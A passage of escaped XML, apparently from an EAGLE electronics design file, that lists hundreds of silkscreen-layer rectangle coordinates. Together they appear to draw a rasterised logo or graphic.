x1=\"1.4454\" y1=\"0.7926\" x2=\"2.4578\" y2=\"0.797\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.797\" x2=\"-1.5298\" y2=\"0.8015\" layer=\"21\"/>\n<rectangle x1=\"-1.1523\" y1=\"0.797\" x2=\"-0.1665\" y2=\"0.8015\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.797\" x2=\"1.0679\" y2=\"0.8015\" layer=\"21\"/>\n<rectangle x1=\"1.4454\" y1=\"0.797\" x2=\"2.4578\" y2=\"0.8015\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.8015\" x2=\"-1.5253\" y2=\"0.8059\" layer=\"21\"/>\n<rectangle x1=\"-1.1523\" y1=\"0.8015\" x2=\"-0.1665\" y2=\"0.8059\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.8015\" x2=\"1.0679\" y2=\"0.8059\" layer=\"21\"/>\n<rectangle x1=\"1.4409\" y1=\"0.8015\" x2=\"2.4578\" y2=\"0.8059\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.8059\" x2=\"-1.5209\" y2=\"0.8104\" layer=\"21\"/>\n<rectangle x1=\"-1.1479\" y1=\"0.8059\" x2=\"-0.1665\" y2=\"0.8104\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.8059\" x2=\"1.0635\" y2=\"0.8104\" layer=\"21\"/>\n<rectangle x1=\"1.4365\" y1=\"0.8059\" x2=\"2.4578\" y2=\"0.8104\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.8104\" x2=\"-1.5209\" y2=\"0.8148\" layer=\"21\"/>\n<rectangle x1=\"-1.1479\" y1=\"0.8104\" x2=\"-0.1665\" y2=\"0.8148\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.8104\" x2=\"1.0635\" y2=\"0.8148\" layer=\"21\"/>\n<rectangle x1=\"1.4365\" y1=\"0.8104\" x2=\"2.4578\" y2=\"0.8148\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.8148\" x2=\"-1.5165\" y2=\"0.8192\" layer=\"21\"/>\n<rectangle x1=\"-1.1435\" y1=\"0.8148\" x2=\"-0.1665\" y2=\"0.8192\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.8148\" x2=\"1.059\" y2=\"0.8192\" layer=\"21\"/>\n<rectangle x1=\"1.432\" y1=\"0.8148\" x2=\"2.4578\" y2=\"0.8192\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.8192\" x2=\"-1.5165\" y2=\"0.8237\" layer=\"21\"/>\n<rectangle x1=\"-1.139\" y1=\"0.8192\" x2=\"-0.1665\" y2=\"0.8237\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.8192\" x2=\"1.0546\" y2=\"0.8237\" layer=\"21\"/>\n<rectangle x1=\"1.432\" y1=\"0.8192\" x2=\"2.4578\" y2=\"0.8237\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.8237\" x2=\"-1.512\" y2=\"0.8281\" layer=\"21\"/>\n<rectangle x1=\"-1.139\" y1=\"0.8237\" x2=\"-0.1665\" y2=\"0.8281\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.8237\" x2=\"1.0546\" y2=\"0.8281\" layer=\"21\"/>\n<rectangle x1=\"1.4276\" y1=\"0.8237\" x2=\"2.4578\" y2=\"0.8281\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.8281\" x2=\"-1.512\" y2=\"0.8326\" layer=\"21\"/>\n<rectangle x1=\"-1.1346\" y1=\"0.8281\" x2=\"-0.1665\" y2=\"0.8326\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.8281\" x2=\"1.0501\" y2=\"0.8326\" layer=\"21\"/>\n<rectangle x1=\"1.4276\" y1=\"0.8281\" x2=\"2.4578\" y2=\"0.8326\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.8326\" x2=\"-1.5076\" y2=\"0.837\" layer=\"21\"/>\n<rectangle x1=\"-1.1346\" y1=\"0.8326\" x2=\"-0.1665\" y2=\"0.837\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.8326\" x2=\"1.0501\" y2=\"0.837\" layer=\"21\"/>\n<rectangle x1=\"1.4231\" y1=\"0.8326\" x2=\"2.4578\" y2=\"0.837\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.837\" x2=\"-1.5031\" y2=\"0.8414\" layer=\"21\"/>\n<rectangle x1=\"-1.1301\" y1=\"0.837\" x2=\"-0.1665\" y2=\"0.8414\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.837\" x2=\"1.0457\" y2=\"0.8414\" layer=\"21\"/>\n<rectangle x1=\"1.4187\" y1=\"0.837\" x2=\"2.4578\" y2=\"0.8414\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.8414\" x2=\"-1.5031\" y2=\"0.8459\" layer=\"21\"/>\n<rectangle x1=\"-1.1301\" y1=\"0.8414\" x2=\"-0.1665\" y2=\"0.8459\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.8414\" x2=\"1.0457\" y2=\"0.8459\" layer=\"21\"/>\n<rectangle x1=\"1.4187\" y1=\"0.8414\" x2=\"2.4578\" y2=\"0.8459\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.8459\" x2=\"-1.4987\" y2=\"0.8503\" layer=\"21\"/>\n<rectangle x1=\"-1.1257\" y1=\"0.8459\" x2=\"-0.1665\" y2=\"0.8503\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.8459\" x2=\"1.0413\" y2=\"0.8503\" layer=\"21\"/>\n<rectangle x1=\"1.4143\" y1=\"0.8459\" x2=\"2.4578\" y2=\"0.8503\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.8503\" x2=\"-1.4987\" y2=\"0.8548\" layer=\"21\"/>\n<rectangle x1=\"-1.1213\" y1=\"0.8503\" x2=\"-0.1665\" y2=\"0.8548\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.8503\" x2=\"1.0368\" y2=\"0.8548\" layer=\"21\"/>\n<rectangle x1=\"1.4143\" y1=\"0.8503\" x2=\"2.4578\" y2=\"0.8548\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.8548\" x2=\"-1.4943\" y2=\"0.8592\" layer=\"21\"/>\n<rectangle x1=\"-1.1213\" y1=\"0.8548\" x2=\"-0.1665\" y2=\"0.8592\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.8548\" x2=\"1.0368\" y2=\"0.8592\" layer=\"21\"/>\n<rectangle x1=\"1.4098\" y1=\"0.8548\" x2=\"2.4578\" y2=\"0.8592\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.8592\" x2=\"-1.4943\" y2=\"0.8636\" layer=\"21\"/>\n<rectangle x1=\"-1.1168\" y1=\"0.8592\" x2=\"-0.1665\" y2=\"0.8636\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.8592\" x2=\"1.0324\" y2=\"0.8636\" layer=\"21\"/>\n<rectangle x1=\"1.4054\" y1=\"0.8592\" x2=\"2.4578\" y2=\"0.8636\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.8636\" x2=\"-1.4898\" y2=\"0.8681\" layer=\"21\"/>\n<rectangle x1=\"-1.1168\" y1=\"0.8636\" x2=\"-0.1665\" y2=\"0.8681\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.8636\" x2=\"1.0324\" y2=\"0.8681\" layer=\"21\"/>\n<rectangle x1=\"1.4054\" y1=\"0.8636\" x2=\"2.4578\" y2=\"0.8681\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.8681\" x2=\"-1.4854\" y2=\"0.8725\" layer=\"21\"/>\n<rectangle x1=\"-1.1124\" y1=\"0.8681\" x2=\"-0.1665\" y2=\"0.8725\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.8681\" x2=\"1.0279\" y2=\"0.8725\" layer=\"21\"/>\n<rectangle x1=\"1.4009\" y1=\"0.8681\" x2=\"2.4578\" y2=\"0.8725\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.8725\" x2=\"-1.4854\" y2=\"0.877\" layer=\"21\"/>\n<rectangle x1=\"-1.1124\" y1=\"0.8725\" x2=\"-0.1665\" y2=\"0.877\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.8725\" x2=\"1.0235\" y2=\"0.877\" layer=\"21\"/>\n<rectangle x1=\"1.4009\" y1=\"0.8725\" x2=\"2.4578\" y2=\"0.877\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.877\" x2=\"-1.4809\" y2=\"0.8814\" layer=\"21\"/>\n<rectangle x1=\"-1.1079\" y1=\"0.877\" x2=\"-0.1665\" y2=\"0.8814\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.877\" x2=\"1.0235\" y2=\"0.8814\" layer=\"21\"/>\n<rectangle x1=\"1.3965\" y1=\"0.877\" x2=\"2.4578\" y2=\"0.8814\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.8814\" x2=\"-1.4809\" y2=\"0.8858\" layer=\"21\"/>\n<rectangle x1=\"-1.1035\" y1=\"0.8814\" x2=\"-0.1665\" y2=\"0.8858\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.8814\" x2=\"1.0191\" y2=\"0.8858\" layer=\"21\"/>\n<rectangle x1=\"1.3965\" y1=\"0.8814\" x2=\"2.4578\" y2=\"0.8858\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.8858\" x2=\"-1.4765\" y2=\"0.8903\" layer=\"21\"/>\n<rectangle x1=\"-1.1035\" y1=\"0.8858\" x2=\"-0.1665\" y2=\"0.8903\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.8858\" x2=\"1.0191\" y2=\"0.8903\" layer=\"21\"/>\n<rectangle x1=\"1.3921\" y1=\"0.8858\" x2=\"2.4578\" y2=\"0.8903\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.8903\" x2=\"-1.4721\" y2=\"0.8947\" layer=\"21\"/>\n<rectangle x1=\"-1.0991\" y1=\"0.8903\" x2=\"-0.1665\" y2=\"0.8947\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.8903\" x2=\"1.0146\" y2=\"0.8947\" layer=\"21\"/>\n<rectangle x1=\"1.3876\" y1=\"0.8903\" x2=\"2.4578\" y2=\"0.8947\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.8947\" x2=\"-1.4721\" y2=\"0.8992\" layer=\"21\"/>\n<rectangle x1=\"-1.0991\" y1=\"0.8947\" x2=\"-0.1665\" y2=\"0.8992\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.8947\" x2=\"1.0146\" y2=\"0.8992\" layer=\"21\"/>\n<rectangle x1=\"1.3876\" y1=\"0.8947\" x2=\"2.4578\" y2=\"0.8992\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.8992\" x2=\"-1.4676\" y2=\"0.9036\" layer=\"21\"/>\n<rectangle x1=\"-1.0946\" y1=\"0.8992\" x2=\"-0.1665\" y2=\"0.9036\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.8992\" x2=\"1.0102\" y2=\"0.9036\" layer=\"21\"/>\n<rectangle x1=\"1.3832\" y1=\"0.8992\" x2=\"2.4578\" y2=\"0.9036\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.9036\" x2=\"-1.4676\" y2=\"0.9081\" layer=\"21\"/>\n<rectangle x1=\"-1.0946\" y1=\"0.9036\" x2=\"-0.1665\" y2=\"0.9081\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.9036\" x2=\"1.0057\" y2=\"0.9081\" layer=\"21\"/>\n<rectangle x1=\"1.3832\" y1=\"0.9036\" x2=\"2.4578\" y2=\"0.9081\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.9081\" x2=\"-1.4632\" y2=\"0.9125\" layer=\"21\"/>\n<rectangle x1=\"-1.0902\" y1=\"0.9081\" x2=\"-0.1665\" y2=\"0.9125\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.9081\" x2=\"1.0057\" y2=\"0.9125\" layer=\"21\"/>\n<rectangle x1=\"1.3787\" y1=\"0.9081\" x2=\"2.4578\" y2=\"0.9125\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.9125\" x2=\"-1.4632\" y2=\"0.9169\" layer=\"21\"/>\n<rectangle x1=\"-1.0857\" y1=\"0.9125\" x2=\"-0.1665\" y2=\"0.9169\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.9125\" x2=\"1.0013\" y2=\"0.9169\" layer=\"21\"/>\n<rectangle x1=\"1.3787\" y1=\"0.9125\" x2=\"2.4578\" y2=\"0.9169\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.9169\" x2=\"-1.4587\" y2=\"0.9214\" layer=\"21\"/>\n<rectangle x1=\"-1.0857\" y1=\"0.9169\" x2=\"-0.1665\" y2=\"0.9214\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.9169\" x2=\"1.0013\" y2=\"0.9214\" layer=\"21\"/>\n<rectangle x1=\"1.3743\" y1=\"0.9169\" x2=\"2.4578\" y2=\"0.9214\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.9214\" x2=\"-1.4543\" y2=\"0.9258\" layer=\"21\"/>\n<rectangle x1=\"-1.0813\" y1=\"0.9214\" x2=\"-0.1665\" y2=\"0.9258\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.9214\" x2=\"0.9969\" y2=\"0.9258\" layer=\"21\"/>\n<rectangle x1=\"1.3699\" y1=\"0.9214\" x2=\"2.4578\" y2=\"0.9258\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.9258\" x2=\"-1.4543\" y2=\"0.9303\" layer=\"21\"/>\n<rectangle x1=\"-1.0813\" y1=\"0.9258\" x2=\"-0.1665\" y2=\"0.9303\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.9258\" x2=\"0.9969\" y2=\"0.9303\" layer=\"21\"/>\n<rectangle x1=\"1.3699\" y1=\"0.9258\" x2=\"2.4578\" y2=\"0.9303\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.9303\" x2=\"-1.4499\" y2=\"0.9347\" layer=\"21\"/>\n<rectangle x1=\"-1.0769\" y1=\"0.9303\" x2=\"-0.1665\" y2=\"0.9347\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.9303\" x2=\"0.9924\" y2=\"0.9347\" layer=\"21\"/>\n<rectangle x1=\"1.3654\" y1=\"0.9303\" x2=\"2.4578\" y2=\"0.9347\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.9347\" x2=\"-1.4499\" y2=\"0.9391\" layer=\"21\"/>\n<rectangle x1=\"-1.0724\" y1=\"0.9347\" x2=\"-0.1665\" y2=\"0.9391\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.9347\" x2=\"0.988\" y2=\"0.9391\" layer=\"21\"/>\n<rectangle x1=\"1.3654\" y1=\"0.9347\" x2=\"2.4578\" y2=\"0.9391\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.9391\" x2=\"-1.4454\" y2=\"0.9436\" layer=\"21\"/>\n<rectangle x1=\"-1.0724\" y1=\"0.9391\" x2=\"-0.1665\" y2=\"0.9436\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.9391\" x2=\"0.988\" y2=\"0.9436\" layer=\"21\"/>\n<rectangle x1=\"1.361\" y1=\"0.9391\" x2=\"2.4578\" y2=\"0.9436\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.9436\" x2=\"-1.4454\" y2=\"0.948\" layer=\"21\"/>\n<rectangle x1=\"-1.068\" y1=\"0.9436\" x2=\"-0.1665\" y2=\"0.948\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.9436\" x2=\"0.9835\" y2=\"0.948\" layer=\"21\"/>\n<rectangle x1=\"1.361\" y1=\"0.9436\" x2=\"2.4578\" y2=\"0.948\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.948\" x2=\"-1.441\" y2=\"0.9525\" layer=\"21\"/>\n<rectangle x1=\"-1.068\" y1=\"0.948\" x2=\"-0.1665\" y2=\"0.9525\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.948\" x2=\"0.9835\" y2=\"0.9525\" layer=\"21\"/>\n<rectangle x1=\"1.3565\" y1=\"0.948\" x2=\"2.4578\" y2=\"0.9525\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.9525\" x2=\"-1.4365\" y2=\"0.9569\" layer=\"21\"/>\n<rectangle x1=\"-1.0635\" y1=\"0.9525\" x2=\"-0.1665\" y2=\"0.9569\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.9525\" x2=\"0.9791\" y2=\"0.9569\" layer=\"21\"/>\n<rectangle x1=\"1.3521\" y1=\"0.9525\" x2=\"2.4578\" y2=\"0.9569\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.9569\" x2=\"-1.4365\" y2=\"0.9613\" layer=\"21\"/>\n<rectangle x1=\"-1.0635\" y1=\"0.9569\" x2=\"-0.1665\" y2=\"0.9613\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.9569\" x2=\"0.9791\" y2=\"0.9613\" layer=\"21\"/>\n<rectangle x1=\"1.3521\" y1=\"0.9569\" x2=\"2.4578\" y2=\"0.9613\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.9613\" x2=\"-1.4321\" y2=\"0.9658\" layer=\"21\"/>\n<rectangle x1=\"-1.0591\" y1=\"0.9613\" x2=\"-0.1665\" y2=\"0.9658\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.9613\" x2=\"0.9747\" y2=\"0.9658\" layer=\"21\"/>\n<rectangle x1=\"1.3477\" y1=\"0.9613\" x2=\"2.4578\" y2=\"0.9658\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.9658\" x2=\"-1.4321\" y2=\"0.9702\" layer=\"21\"/>\n<rectangle x1=\"-1.0546\" y1=\"0.9658\" x2=\"-0.1665\" y2=\"0.9702\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.9658\" x2=\"0.9702\" y2=\"0.9702\" layer=\"21\"/>\n<rectangle x1=\"1.3477\" y1=\"0.9658\" x2=\"2.4578\" y2=\"0.9702\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.9702\" x2=\"-1.4277\" y2=\"0.9747\" layer=\"21\"/>\n<rectangle x1=\"-1.0546\" y1=\"0.9702\" x2=\"-0.1665\" y2=\"0.9747\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.9702\" x2=\"0.9702\" y2=\"0.9747\" layer=\"21\"/>\n<rectangle x1=\"1.3432\" y1=\"0.9702\" x2=\"2.4578\" y2=\"0.9747\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.9747\" x2=\"-1.4277\" y2=\"0.9791\" layer=\"21\"/>\n<rectangle x1=\"-1.0502\" y1=\"0.9747\" x2=\"-0.1665\" y2=\"0.9791\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.9747\" x2=\"0.9658\" y2=\"0.9791\" layer=\"21\"/>\n<rectangle x1=\"1.3388\" y1=\"0.9747\" x2=\"2.4578\" y2=\"0.9791\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.9791\" x2=\"-1.4232\" y2=\"0.9835\" layer=\"21\"/>\n<rectangle x1=\"-1.0502\" y1=\"0.9791\" x2=\"-0.1665\" y2=\"0.9835\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.9791\" x2=\"0.9658\" y2=\"0.9835\" layer=\"21\"/>\n<rectangle x1=\"1.3388\" y1=\"0.9791\" x2=\"2.4578\" y2=\"0.9835\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.9835\" x2=\"-1.4188\" y2=\"0.988\" layer=\"21\"/>\n<rectangle x1=\"-1.0458\" y1=\"0.9835\" x2=\"-0.1665\" y2=\"0.988\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.9835\" x2=\"0.9613\" y2=\"0.988\" layer=\"21\"/>\n<rectangle x1=\"1.3343\" y1=\"0.9835\" x2=\"2.4578\" y2=\"0.988\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.988\" x2=\"-1.4188\" y2=\"0.9924\" layer=\"21\"/>\n<rectangle x1=\"-1.0458\" y1=\"0.988\" x2=\"-0.1665\" y2=\"0.9924\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.988\" x2=\"0.9569\" y2=\"0.9924\" layer=\"21\"/>\n<rectangle x1=\"1.3343\" y1=\"0.988\" x2=\"2.4578\" y2=\"0.9924\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.9924\" x2=\"-1.4143\" y2=\"0.9969\" layer=\"21\"/>\n<rectangle x1=\"-1.0413\" y1=\"0.9924\" x2=\"-0.1665\" y2=\"0.9969\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.9924\" x2=\"0.9569\" y2=\"0.9969\" layer=\"21\"/>\n<rectangle x1=\"1.3299\" y1=\"0.9924\" x2=\"2.4578\" y2=\"0.9969\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.9969\" x2=\"-1.4143\" y2=\"1.0013\" layer=\"21\"/>\n<rectangle x1=\"-1.0369\" y1=\"0.9969\" x2=\"-0.1665\" y2=\"1.0013\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.9969\" x2=\"0.9525\" y2=\"1.0013\" layer=\"21\"/>\n<rectangle x1=\"1.3299\" y1=\"0.9969\" x2=\"2.4578\" y2=\"1.0013\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.0013\" x2=\"-1.4099\" y2=\"1.0057\" layer=\"21\"/>\n<rectangle x1=\"-1.0369\" y1=\"1.0013\" x2=\"-0.1665\" y2=\"1.0057\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.0013\" x2=\"0.9525\" y2=\"1.0057\" layer=\"21\"/>\n<rectangle x1=\"1.3255\" y1=\"1.0013\" x2=\"2.4578\" y2=\"1.0057\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.0057\" x2=\"-1.4054\" y2=\"1.0102\" layer=\"21\"/>\n<rectangle x1=\"-1.0324\" y1=\"1.0057\" x2=\"-0.1665\" y2=\"1.0102\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.0057\" x2=\"0.948\" y2=\"1.0102\" layer=\"21\"/>\n<rectangle x1=\"1.321\" y1=\"1.0057\" x2=\"2.4578\" y2=\"1.0102\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.0102\" x2=\"-1.4054\" y2=\"1.0146\" layer=\"21\"/>\n<rectangle x1=\"-1.0324\" y1=\"1.0102\" x2=\"-0.1665\" y2=\"1.0146\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.0102\" x2=\"0.948\" y2=\"1.0146\" layer=\"21\"/>\n<rectangle x1=\"1.321\" y1=\"1.0102\" x2=\"2.4578\" y2=\"1.0146\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.0146\" x2=\"-1.401\" y2=\"1.0191\" layer=\"21\"/>\n<rectangle x1=\"-1.028\" y1=\"1.0146\" x2=\"-0.1665\" y2=\"1.0191\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.0146\" x2=\"0.9436\" y2=\"1.0191\" layer=\"21\"/>\n<rectangle x1=\"1.3166\" y1=\"1.0146\" x2=\"2.4578\" y2=\"1.0191\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.0191\" x2=\"-1.401\" y2=\"1.0235\" layer=\"21\"/>\n<rectangle x1=\"-1.028\" y1=\"1.0191\" x2=\"-0.1665\" y2=\"1.0235\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.0191\" x2=\"0.9391\" y2=\"1.0235\" layer=\"21\"/>\n<rectangle x1=\"1.3166\" y1=\"1.0191\" x2=\"2.4578\" y2=\"1.0235\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.0235\" x2=\"-1.3966\" y2=\"1.0279\" layer=\"21\"/>\n<rectangle x1=\"-1.0236\" y1=\"1.0235\" x2=\"-0.1665\" y2=\"1.0279\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.0235\" x2=\"0.9391\" y2=\"1.0279\" layer=\"21\"/>\n<rectangle x1=\"1.3121\" y1=\"1.0235\" x2=\"2.4578\" y2=\"1.0279\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.0279\" x2=\"-1.3966\" y2=\"1.0324\" layer=\"21\"/>\n<rectangle x1=\"-1.0191\" y1=\"1.0279\" x2=\"-0.1665\" y2=\"1.0324\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.0279\" x2=\"0.9347\" y2=\"1.0324\" layer=\"21\"/>\n<rectangle x1=\"1.3121\" y1=\"1.0279\" x2=\"2.4578\" y2=\"1.0324\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.0324\" x2=\"-1.3921\" y2=\"1.0368\" layer=\"21\"/>\n<rectangle x1=\"-1.0191\" y1=\"1.0324\" x2=\"-0.1665\" y2=\"1.0368\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.0324\" x2=\"0.9347\" y2=\"1.0368\" layer=\"21\"/>\n<rectangle x1=\"1.3077\" y1=\"1.0324\" x2=\"2.4578\" y2=\"1.0368\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.0368\" x2=\"-1.3877\" y2=\"1.0413\" layer=\"21\"/>\n<rectangle x1=\"-1.0147\" y1=\"1.0368\" x2=\"-0.1665\" y2=\"1.0413\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.0368\" x2=\"0.9303\" y2=\"1.0413\" layer=\"21\"/>\n<rectangle x1=\"1.3033\" y1=\"1.0368\" x2=\"2.4578\" y2=\"1.0413\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.0413\" x2=\"-1.3877\" y2=\"1.0457\" layer=\"21\"/>\n<rectangle x1=\"-1.0147\" y1=\"1.0413\" x2=\"-0.1665\" y2=\"1.0457\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.0413\" x2=\"0.9303\" y2=\"1.0457\" layer=\"21\"/>\n<rectangle x1=\"1.3033\" y1=\"1.0413\" x2=\"2.4578\" y2=\"1.0457\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.0457\" x2=\"-1.3832\" y2=\"1.0501\" layer=\"21\"/>\n<rectangle x1=\"-1.0102\" y1=\"1.0457\" x2=\"-0.1665\" y2=\"1.0501\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.0457\" x2=\"0.9258\" y2=\"1.0501\" layer=\"21\"/>\n<rectangle x1=\"1.2988\" y1=\"1.0457\" x2=\"2.4578\" y2=\"1.0501\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.0501\" x2=\"-1.3832\" y2=\"1.0546\" layer=\"21\"/>\n<rectangle x1=\"-1.0058\" y1=\"1.0501\" x2=\"-0.1665\" y2=\"1.0546\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.0501\" x2=\"0.9214\" y2=\"1.0546\" layer=\"21\"/>\n<rectangle x1=\"1.2988\" y1=\"1.0501\" x2=\"2.4578\" y2=\"1.0546\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.0546\" x2=\"-1.3788\" y2=\"1.059\" layer=\"21\"/>\n<rectangle x1=\"-1.0058\" y1=\"1.0546\" x2=\"-0.1665\" y2=\"1.059\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.0546\" x2=\"0.9214\" y2=\"1.059\" layer=\"21\"/>\n<rectangle x1=\"1.2944\" y1=\"1.0546\" x2=\"2.4578\" y2=\"1.059\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.059\" x2=\"-1.3788\" y2=\"1.0635\" layer=\"21\"/>\n<rectangle x1=\"-1.0014\" y1=\"1.059\" x2=\"-0.1665\" y2=\"1.0635\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.059\" x2=\"0.9169\" y2=\"1.0635\" layer=\"21\"/>\n<rectangle x1=\"1.2944\" y1=\"1.059\" x2=\"2.4578\" y2=\"1.0635\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.0635\" x2=\"-1.3744\" y2=\"1.0679\" layer=\"21\"/>\n<rectangle x1=\"-1.0014\" y1=\"1.0635\" x2=\"-0.1665\" y2=\"1.0679\" 